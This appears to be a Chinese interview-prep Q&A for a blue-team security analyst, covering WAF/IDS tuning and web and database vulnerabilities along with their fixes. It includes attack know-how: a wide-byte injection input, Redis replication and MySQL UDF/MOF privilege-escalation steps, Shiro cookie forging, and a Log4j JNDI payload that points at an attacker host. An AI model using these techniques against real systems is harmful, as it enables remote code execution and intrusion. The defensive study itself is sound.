`1、你作为护网蓝队中级工程师研判岗,你在护网中做了些什么
在护网行动中,我主要做了以下工作:
- 安全监测与分析
监控网络流量和系统日志,使用IDS/IPS等工具检测潜在的安全威胁。
分析安全事件,确定是否为真正的攻击,并对事件进行分类和优先级排序。
- 漏洞管理
定期扫描网络和系统,识别已知漏洞。
协调相关部门及时修补漏洞,减少攻击面。
- 安全防护策略制定
根据组织的业务需求和安全状况,制定和更新安全防护策略。
确保安全策略得到有效执行,并对策略的有效性进行定期评估。
- 应急响应
在发生安全事件时,迅速响应,进行调查和分析,制定恢复计划。
协调资源,实施应急措施,尽快恢复业务。
- 安全培训与宣传
对内部员工进行安全意识培训,提高他们对网络安全的认识。
制作安全宣传材料,提高全员的安全防范意识。
- 安全审计与合规
定期进行安全审计,确保系统和网络的安全性。
确保组织遵守相关的法律法规和行业标准。
2、做哪一层面的处置,waf? ids?
对于WAF:
配置与优化:根据业务需求和安全策略,配置和优化WAF规则集,以确保它能够有效地防御针对Web应用的常见攻击,如SQL注入、跨站脚本(XSS)和文件包含等。
监控与响应:实时监控WAF的日志和警报,分析潜在的攻击模式和行为,及时调整防护策略以应对新的威胁。
性能调优:确保WAF在提供安全防护的同时,不会对Web应用的性能造成负面影响。
安全更新:定期更新WAF的攻击特征库和软件版本,以应对新出现的攻击手段。
对于IDS:
策略制定:制定IDS检测策略,确保它能够覆盖关键的网络流量和系统活动。
异常检测:使用IDS进行异常检测,分析网络行为,识别潜在的恶意活动或未授权的系统更改。
误报分析:分析IDS产生的误报,调整检测规则以减少误报率,同时保持对真实威胁的高检测率。
集成与协同:将IDS与其他安全系统(如防火墙、SIEM系统等)集成,实现安全事件的快速响应和处理。
3、怎么解决误报过多的情况,有做过什么规则能解决这个情况的
- 详细审查误报
日志分析:对误报的日志进行详细分析,了解误报的类型、频率和模式。
上下文关联:将误报与网络和系统的上下文信息关联起来,以确定是否为真正的威胁。
- 调整和优化规则
规则定制:根据分析结果,定制或修改现有的规则,以减少误报。
阈值调整:调整规则的敏感度阈值,以适应实际的网络流量和行为模式。
白名单:为已知安全的流量或行为建立白名单,减少被错误标记的事件。
- 使用机器学习和行为分析
行为建模:利用机器学习算法建立正常的网络行为模型,以更好地识别异常行为。
自适应学习:让IDS/WAF系统根据实际流量自动调整规则和阈值,提高检测的准确性。
- 层级化和分层防护
多层检测:在不同的网络层级部署检测机制,例如在边缘网络、内部网络和主机层分别设置检测点。
分层防护:根据威胁的严重性,采取不同层级的响应措施。
- 持续的规则更新和维护
定期更新:定期更新规则库,以识别和防御最新的威胁。
反馈循环:建立一个反馈机制,根据实际的检测效果不断调整和优化规则
4、内网误报存在于办公网还是生产网
办公网
5、比如mysql也会执行powershell,怎么做防护(前面说了很多内网误报是因为有人写了ps脚本触发的)
- 最小权限原则
限制权限:确保 MySQL 用户只有必要的数据库操作权限,不提供执行系统命令的能力。
专用账户:为不同的操作创建专用的数据库账户,避免使用具有高权限的账户执行日常操作。
- 配置安全策略
禁用危险函数:在 MySQL 中禁用或限制那些可以执行外部命令的函数,如 EXECUTE, LOAD_FILE 等。
白名单策略:如果必须执行某些外部命令,可以实施白名单策略,只允许执行预定义的安全脚本。
- 监控和审计
审计日志:开启 MySQL 的审计日志功能,记录所有数据库活动,包括尝试执行的系统命令。
入侵检测系统:使用 IDS 监控数据库服务器,检测可疑的行为和命令执行尝试
6、在做攻防的时候,资产收集这块有没有什么经验介绍的
这里可以详细看这篇文章:http://t.csdnimg.cn/4uIhl
7、一个单位的一级域名可能不止一个,怎么收集某个单位的所有域名,注意不是子域名
通常涉及到以下几个步骤和方法:
- 公开信息查询
公司官网:访问目标单位的官方网站,通常可以在网站底部或"关于我们"页面找到官方域名信息。
备案查询:如果目标单位在中国,可以通过工信部的备案查询系统查找该公司名下的所有备案域名。
WHOIS查询:使用WHOIS查询工具输入公司名称或已知域名,获取注册信息,可能会列出该公司名下的所有或部分域名。
- 搜索引擎
关键词搜索:在搜索引擎中使用公司名称配合"域名"、"官网"等关键词进行搜索,可能会发现未在官网列出的其他域名。
特定搜索引擎:使用如FOFA、Shodan等专业搜索引擎,它们可以提供更精确的技术信息和域名数据。
- 社交媒体和网络资源
社交媒体:检查目标单位的社交媒体账号,如LinkedIn、Facebook等,通常这些平台上的公司资料会包含官方网站链接。
新闻报道和公告:搜索相关的新闻报道、官方公告或公关稿件,这些文档中可能会提及公司的不同域名。
- 专业域名服务
域名注册商:如果知道目标单位的域名注册商,可以尝试联系注册商获取信息,但这通常受到隐私政策的限制。
域名交易市场:在域名交易市场上搜索目标单位的名称,可能会发现一些被交易的域名。
- 网络空间搜索引擎
网络空间搜索引擎:使用网络空间搜索引擎(如ZoomEye、ViewDNS等)搜索目标单位的名称或已知域名,这些工具可以帮助发现与目标单位相关的其他域名。
- 威胁情报平台
威胁情报:一些威胁情报平台可能收集了与目标单位相关的域名信息,可以尝试在这些平台上进行查询。
- 专业工具和脚本
自动化工具 :使用如OneForAll
、Sublist3r
等自动化工具,这些工具可以自动化地收集与目标单位相关的域名信息。
9、除了信息收集,有没有什么漏洞方面的攻击案例
PowerShell远程代码执行漏洞 (CVE-2022-41076)
这个漏洞影响了使用PowerShell自定义运行空间的程序。例如,Microsoft Exchange邮件服务程序通过此功能提供了远程PowerShell,以便远程管理Exchange邮件服务器。尽管远程PowerShell限制了危险的cmdlet和命令的执行,但经过身份验证的远程攻击者可以利用该漏洞在目标机器上执行任意代码。这个漏洞影响了主流的Windows操作系统和PowerShell 7.2以及7.3版本。
利用PowerShell进行攻击
攻击者利用PowerShell进行攻击的方式一般分为两个方面:一是利用系统漏洞向用户终端释放恶意的PowerShell脚本;二是通过发送钓鱼邮件等方式诱导用户下载和运行恶意PowerShell脚本。尽管PowerShell提供了相应的安全机制,但攻击者依然可以通过多种方法绕过这些机制进行攻击。
攻击方法
攻击者可能会诱导用户关闭PowerShell的"执行策略"限制,或通过参数设置等方法绕过该限制。由于脚本文件大多为纯文本形式,攻击者可以对脚本内容进行编码、混淆,使其绕过AMSI机制的检测,也绕过用户肉眼的识别。
防御方法
为了防范PowerShell攻击,可以采取以下措施:
升级PowerShell到更新版本。
检查并移除旧版本的PowerShell以避免"降级攻击"。
设置"执行策略"为"Restricted"。
限制PowerShell的语言模式。
安装并定期升级杀毒软件。
10、SQL注入原理
原理:
输入处理不当:Web应用程序通常从用户输入中获取数据,并将这些数据用于数据库查询。如果应用程序未对输入数据进行适当的清理和转义,攻击者就可以利用这个漏洞。
动态SQL构建:应用程序可能会动态构建SQL查询,例如使用字符串拼接的方式将用户输入直接插入到SQL语句中。
SQL语句拼接:攻击者通过输入特定的SQL代码片段,使得应用程序构建的SQL语句执行了攻击者预设的命令。
数据库执行恶意SQL:数据库管理系统(DBMS)执行了被注入的SQL代码,导致未授权的数据访问或其他恶意行为。
11、如何防御SQL注入
防御措施:
- 参数化查询:使用参数化查询或预编译语句,避免将用户输入直接拼接到SQL语句中。
- 输入验证:对所有用户输入进行严格的验证,拒绝非法字符和格式。
- 最小权限原则:数据库账户仅授予执行特定任务所需的最小权限,避免给予过多的权限。
- 错误处理:不要在错误消息中泄露过多的信息,避免暴露数据库结构或SQL语句。
- Web应用防火墙:使用Web应用防火墙(WAF)来帮助检测和阻止SQL注入攻击。
- 定期安全审计:定期进行代码审查和安全测试,确保没有新的SQL注入漏洞出现。
12、遇到order by如何防御
order by使用的外部入参进行 白名单校验 SQL里的误用${}的地方尽量改成#{}
13、用转义字符防御时,如果遇到数据库的列名或是表名本身就带着特殊字符,应该怎么做
字段名或者表名包含特殊符号不影响,防止注入的是字段值。
14、宽字节注入的原理
窄字节(Narrow Byte):一个字符占用一个字节的空间,如ASCII编码。
宽字节(Wide Byte):一个字符占用两个或更多字节的空间,如GBK、GB2312等中文字符编码。
- 宽字节注入的产生条件
数据库或应用程序使用宽字节编码:如GBK或GB2312,这些编码允许一个汉字占用两个字节。
输入过滤不彻底:应用程序可能对输入进行了转义处理,如使用PHP的addslashes函数或启用了magic_quotes_gpc,这些措施通常是为了防御窄字节的SQL注入。
- 宽字节注入的原理
转义字符的利用:在窄字节注入防御中,特殊字符(如单引号')会被转义为\'。在宽字节编码中,\的十六进制表示为%5C。
字节拼接:攻击者可以输入特定的字节序列(如%df%27),在GBK编码中,%df和%27拼接后形成一个汉字(例如"运"),而不是两个独立的字节。这样,%df%27在GBK编码中被解释为一个完整的汉字字符,而不是转义序列的一部分。
绕过转义:由于%df和%27拼接成了一个汉字,它们不再被视为转义序列的一部分,因此可以绕过addslashes或magic_quotes_gpc的转义机制。
注入攻击:攻击者利用这一点,通过构造特定的输入,使得原本用于防御SQL注入的转义序列失效,从而执行SQL注入攻击。
16、SSRF漏洞如何修复
- 输入验证和过滤
白名单过滤:对于允许的URL或服务,使用白名单而不是黑名单,只允许已知安全的URL或服务被访问。
限制协议:限制可使用的协议,如只允许HTTP和HTTPS,禁止使用file、ftp等其他协议。
端口限制:限制可访问的端口范围,例如,只允许访问80、443等标准的Web端口。
- 错误处理
统一错误消息:避免在错误消息中泄露过多的信息,统一错误处理逻辑,使得攻击者无法通过错误消息来判断内部服务的具体情况。
- 安全编码和API使用
使用安全API :使用安全的编程接口,避免使用可能导致SSRF的函数,如file_get_contents()
、fsockopen()
、curl_exec()
等。
最小权限原则:确保应用程序使用的账户或服务具有最小必要权限,减少潜在的安全风险。
- 网络隔离和防火墙
内部网络隔离:将内部网络与外部网络隔离,确保即使存在SSRF漏洞,攻击者也无法访问内部敏感系统。
防火墙规则:配置防火墙规则,限制外部对内部网络的访问,特别是对于敏感的服务和端口。
- 安全审计和监控
定期审计:定期对代码进行安全审计,检查是否存在SSRF漏洞的风险。
监控和日志记录:实施监控机制,记录所有外部请求,以便在出现异常时及时发现和响应。
- 应用程序设计
避免暴露内部服务:在设计应用程序时,避免将内部服务的URL暴露给外部用户。
使用代理服务:如果需要访问内部服务,考虑使用内部代理服务,而不是直接从应用程序发起请求。
17、基于黑白名单的修复,现在的生产基本都是用的docker,ip是随时变的,而且docker重启后可能 什么都不一样了,怎么做一个修复
- 服务发现和动态白名单
服务发现:使用服务发现机制(如Consul、etcd等)来动态识别内部服务的位置和状态。
动态更新白名单:根据服务发现的结果动态更新白名单,确保应用程序只与授权的服务通信。
- 网络策略和访问控制
Docker网络策略:定义严格的Docker网络策略,限制容器之间的通信,只允许必要的服务端口暴露。
容器隔离:使用Docker的安全特性,如容器隔离,确保敏感服务运行在隔离的环境中。
- API网关和中间件
API网关:通过API网关来管理所有外部请求,网关可以作为请求的代理,对请求进行过滤和转发。
中间件过滤:在API网关或反向代理中实现过滤逻辑,对所有传入的请求进行安全检查。
- 容器安全和最小化
最小化容器:构建最小化的Docker容器,只包含运行应用程序所必需的组件,减少攻击面。
安全扫描:定期对Docker镜像进行安全扫描,确保没有已知的漏洞。
- 身份验证和授权
服务间认证:实施服务间认证机制,确保只有授权的服务可以访问其他服务。
动态授权:根据实时的访问模式和策略动态授权请求。
- 监控和日志分析
实时监控:实施实时监控系统,监控所有容器的活动和网络流量。
日志分析:收集和分析容器的日志,以便及时发现和响应异常行为。
- 持续集成和持续部署(CI/CD)
自动化测试:在CI/CD流程中集成自动化的安全测试,确保新的部署不会引入SSRF漏洞。
快速回滚:准备好快速回滚机制,以便在发现问题时能够迅速恢复到安全状态
18、fastjson反序列化 原理
在 Java 中,反序列化是将 JSON 字符串转换回 Java 对象的过程。Fastjson 提供了 JSON.parseObject()
方法来执行这个操作。当使用这个方法时,Fastjson 会根据 JSON 字符串中的内容来创建相应的 Java 对象,并设置其属性值。
问题出现在 Fastjson 处理带有 @type
属性的 JSON 对象时。@type
属性用于指定 JSON 对象应该被反序列化为哪个 Java 类。如果这个功能被不当使用,攻击者可以通过发送恶意构造的 JSON 请求来利用这个特性,执行不安全的代码。
19、redis漏洞
- 未授权访问漏洞
漏洞原理:
Redis 默认情况下会绑定在 0.0.0.0:6379
,如果没有采取安全措施,如设置防火墙规则或使用密码认证,Redis 服务可能会暴露在公网上。
如果 Redis 服务没有设置密码(默认为空),则任何用户都可以免密码远程登录 Redis 服务。
- 数据泄露漏洞
漏洞原理:
由于未授权访问,攻击者可以读取 Redis 数据库中的敏感信息,如用户凭证、会话令牌等。
利用方式:
通过发送 keys *
命令来列出所有键,然后逐一获取键对应的值。
- 主从复制漏洞
漏洞原理:
Redis 的主从复制功能可以被滥用来执行远程代码执行(RCE)。
攻击者可以创建一个恶意的 Redis 主服务器,然后让目标 Redis 从服务器复制这个恶意服务器的数据。
- 通过主从复制执行系统命令
漏洞原理:
在 Redis 4.x 及以上版本中,Redis 支持模块功能,可以加载外部 .so
文件。
通过主从复制,可以将恶意 .so
文件同步到从服务器,并执行其中的系统命令。
利用方式:
编写恶意 .so
文件,包含执行系统命令的功能。
通过主从复制将 .so
文件同步到从服务器。
从服务器加载 .so
文件并执行其中的命令。
20、mysql提权
- UDF (用户定义函数) 提权
原理: 利用 MySQL 的 UDF 功能,上传自定义的动态链接库(DLL 或 SO 文件),在其中定义可以执行系统命令的函数,然后在 MySQL 中调用这些函数来执行系统命令。
条件:
需要有写入文件的权限(secure_file_priv
设置为空或者有权限写入指定目录)。
MySQL 服务需要有加载动态库的权限。
步骤:
编写并编译 UDF 动态库文件。
将动态库文件上传到 MySQL 服务器的可写目录。
在 MySQL 中创建对应的 UDF。
调用 UDF 执行系统命令。
- MOF (托管对象格式) 提权
原理: 通过修改 Windows 的 MOF 文件,添加恶意的 WMI 事件过滤器和消费者,使得在特定条件下(如时间触发),服务器会执行添加到 MOF 文件中的命令。
条件:
需要对 C:\Windows\System32\wbem\MOF
目录有写入权限。
服务器使用的是 Windows 系统,且 WMI 服务可被操作。
步骤:
创建恶意的 MOF 文件。
将 MOF 文件写入到 C:\Windows\System32\wbem\MOF
目录。
等待 WMI 服务执行 MOF 文件中的命令。
- 启动项提权
原理: 在 MySQL 中创建表或者写入文件,使得在系统启动或者用户登录时,执行恶意脚本或命令。
条件:
需要有创建表和写入文件的权限。
需要知道启动项的位置和格式。
步骤:
在 MySQL 中创建表,写入启动脚本。
通过 SQL 语句将脚本写入到启动项目录。
重启服务器,恶意脚本在启动时执行。
- 利用 MySQL 配置文件提权
原理 : 通过读取 MySQL 配置文件(如 my.cnf
或 my.ini
)来获取敏感信息,如数据库的 root 密码等,进而尝试以更高权限登录系统。
条件:
能够访问 MySQL 配置文件。
配置文件中存储了敏感信息。
步骤:
读取 MySQL 配置文件。
提取敏感信息,如数据库密码。
使用提取的信息尝试获取更高权限。
防护措施
定期更新 MySQL 到最新版本,修补已知漏洞。
为 MySQL 设置复杂的密码,并限制远程访问。
限制文件系统的写入权限,特别是在 MySQL 数据目录和插件目录。
关闭不必要的服务,如 UDF 功能。
监控和审计 MySQL 的访问日志,及时发现异常行为。
21、shiro反序列化原理
漏洞原理
"记住我"功能实现:
- 用户在登录时选择"记住我"选项。
- Shiro 将用户的会话信息(如用户身份)序列化,并使用 AES 加密。
- 加密后的数据使用 Base64 编码,并存储在 Cookie 中,键名为
rememberMe
。
漏洞产生原因:
- 在 Shiro 1.2.4 版本之前,AES 加密使用的密钥是硬编码在源码中的,这意味着任何有访问源码权限的人都可以知道默认加密密钥。
- 当服务器接收到带有
rememberMe
Cookie 的请求时,Shiro 会尝试解密并反序列化这个值。 - 如果攻击者能够预测或获取到这个硬编码的密钥,他们可以构造一个恶意的序列化对象,对其进行加密和编码,然后将其作为
rememberMe
字段的值发送。
漏洞利用过程:
- 攻击者创建一个恶意的 Java 对象(如
Actions
类的实例),该对象在反序列化时会执行不安全的代码。 - 攻击者将这个对象序列化,使用硬编码的 AES 密钥进行加密,然后进行 Base64 编码。
- 攻击者将编码后的值放入
rememberMe
Cookie,并发送到服务器。 - 当服务器接收到 Cookie 并尝试反序列化
rememberMe
字段时,会执行攻击者构造的恶意代码,导致远程代码执行(RCE)。
漏洞修复建议
更新版本:升级到 Shiro 1.2.4 以上的版本,这些版本已经修复了硬编码密钥的问题。
自定义密钥:如果无法更新到最新版本,建议使用自定义的加密密钥,而不是使用默认的硬编码密钥。
安全编码实践:在编写可序列化对象时,遵循安全编码实践,避免使用不安全的类和方法。
漏洞复现
漏洞复现通常涉及以下步骤:
分析目标应用程序,确认使用的 Shiro 版本。
如果版本存在漏洞,尝试获取或预测 AES 加密密钥。
构造恶意的序列化对象,并使用获取的密钥进行加密和 Base64 编码。
将编码后的值放入 rememberMe
Cookie,并发送到目标服务器。
服务器在处理 Cookie 时触发反序列化,执行恶意代码。
22、log4j漏洞原理
漏洞原理
Lookup 功能:
- Log4j2 支持在日志消息中使用
${...}
来包裹的表达式,这些表达式会被解析为特定的值。 - 例如,
${java:version}
会被替换为当前 Java 运行环境的版本。
JNDI 支持:
- Log4j2 支持通过 JNDI(Java Naming and Directory Interface)协议来查找和解析变量。
- JNDI 允许 Java 应用程序查找外部资源,如数据库、文件系统等。
漏洞触发:
- 当 Log4j2 遇到
${jndi:...}
这样的表达式时,它会尝试通过 JNDI 协议查找对应的资源。 - 如果攻击者能够控制日志消息中的内容,他们可以构造一个恶意的 JNDI 请求,指向攻击者控制的服务器。
远程代码执行:
- 当 Log4j2 尝试解析恶意的 JNDI 请求时,它会从攻击者控制的服务器上下载并反序列化一个对象。
- 如果这个对象包含了恶意代码,那么在反序列化过程中,这些代码将被执行,导致远程代码执行漏洞。
漏洞利用
攻击者可以通过以下步骤利用这个漏洞:
构造 Payload:
- 攻击者构造一个恶意的 JNDI 请求,例如
${jndi:ldap://attacker-controlled-server/Exploit}
。
发送请求:
- 攻击者将这个 Payload 作为输入发送到受影响的应用程序。
日志记录:
- 应用程序将这个输入记录到日志中。
触发 JNDI 查找:
- Log4j2 尝试解析日志中的 JNDI 表达式。
下载恶意对象:
- Log4j2 从攻击者控制的服务器上下载一个恶意对象。
执行恶意代码:
- 恶意对象在反序列化过程中执行了攻击者植入的代码。
漏洞修复
为了修复这个漏洞,开发者和系统管理员需要采取以下措施:
更新 Log4j2:升级到 Log4j2 的最新版本,这些版本已经修复了这个漏洞。
禁用 JNDI Lookup:在 Log4j2 配置中禁用 JNDI 查找功能。
限制日志输入:确保日志输入不被外部控制,避免记录敏感信息。
安全编码实践:在编写日志消息时,避免使用动态内容,特别是那些可能受到用户输入影响的表达式。
23、jndi的解析流程和原理
`
JNDI 解析流程
初始化上下文:
- 应用程序通过
new InitialContext()
创建一个InitialContext
实例。这个上下文是 JNDI 操作的起点,它包含了环境中对象和其名称的映射信息。
查找资源:
- 使用
InitialContext.lookup(name)
方法,根据提供的名称name
查找资源。这个名称可以是一个 URL,也可以是一个对象的名称。
解析名称:
- JNDI 客户端库会解析这个名称,确定它所代表的资源类型(例如,RMI 对象、LDAP 条目等)。
选择适当的 JNDI 服务提供者:
- 根据名称的类型(如 RMI、LDAP 等),JNDI 会选择适当的服务提供者(SPI)来处理查找请求。
资源检索:
- 服务提供者会根据请求的资源类型,从命名服务中检索相应的资源。例如,如果是 RMI 资源,它会尝试连接到指定的 RMI 服务器并获取对象。
对象实例化:
- 如果资源是一个远程对象,JNDI 会实例化这个对象,使其在本地可用。如果是序列化对象,JNDI 会反序列化对象并返回。
返回结果:
- 最终,JNDI 返回查找到的对象给应用程序,应用程序可以像使用本地对象一样使用这个对象。
JNDI 注入原理
JNDI 注入攻击通常发生在 JNDI 的 lookup()
方法中,当 lookup()
方法的参数可以被外部控制时,攻击者可以注入恶意的 URL 或其他数据,导致 JNDI 客户端解析并加载攻击者控制的资源。这通常涉及到以下几个步骤:
构造恶意请求:
- 攻击者构造一个恶意的 JNDI 请求,例如通过 Web 应用程序的输入字段,将恶意的 URL 或其他数据传递给 JNDI 服务。
劫持 JNDI 请求:
- 当应用程序执行
lookup()
方法时,如果参数被外部控制,JNDI 客户端会尝试从攻击者指定的恶意服务器上检索资源。
恶意资源加载:
- 如果恶意服务器响应了请求,并提供了恶意的 Java 对象(例如,通过序列化的攻击载荷),JNDI 客户端会加载并实例化这个对象。
执行恶意代码:
- 在对象实例化的过程中,如果该对象包含了恶意代码,这些代码可能会被执行,导致远程代码执行(RCE)漏洞。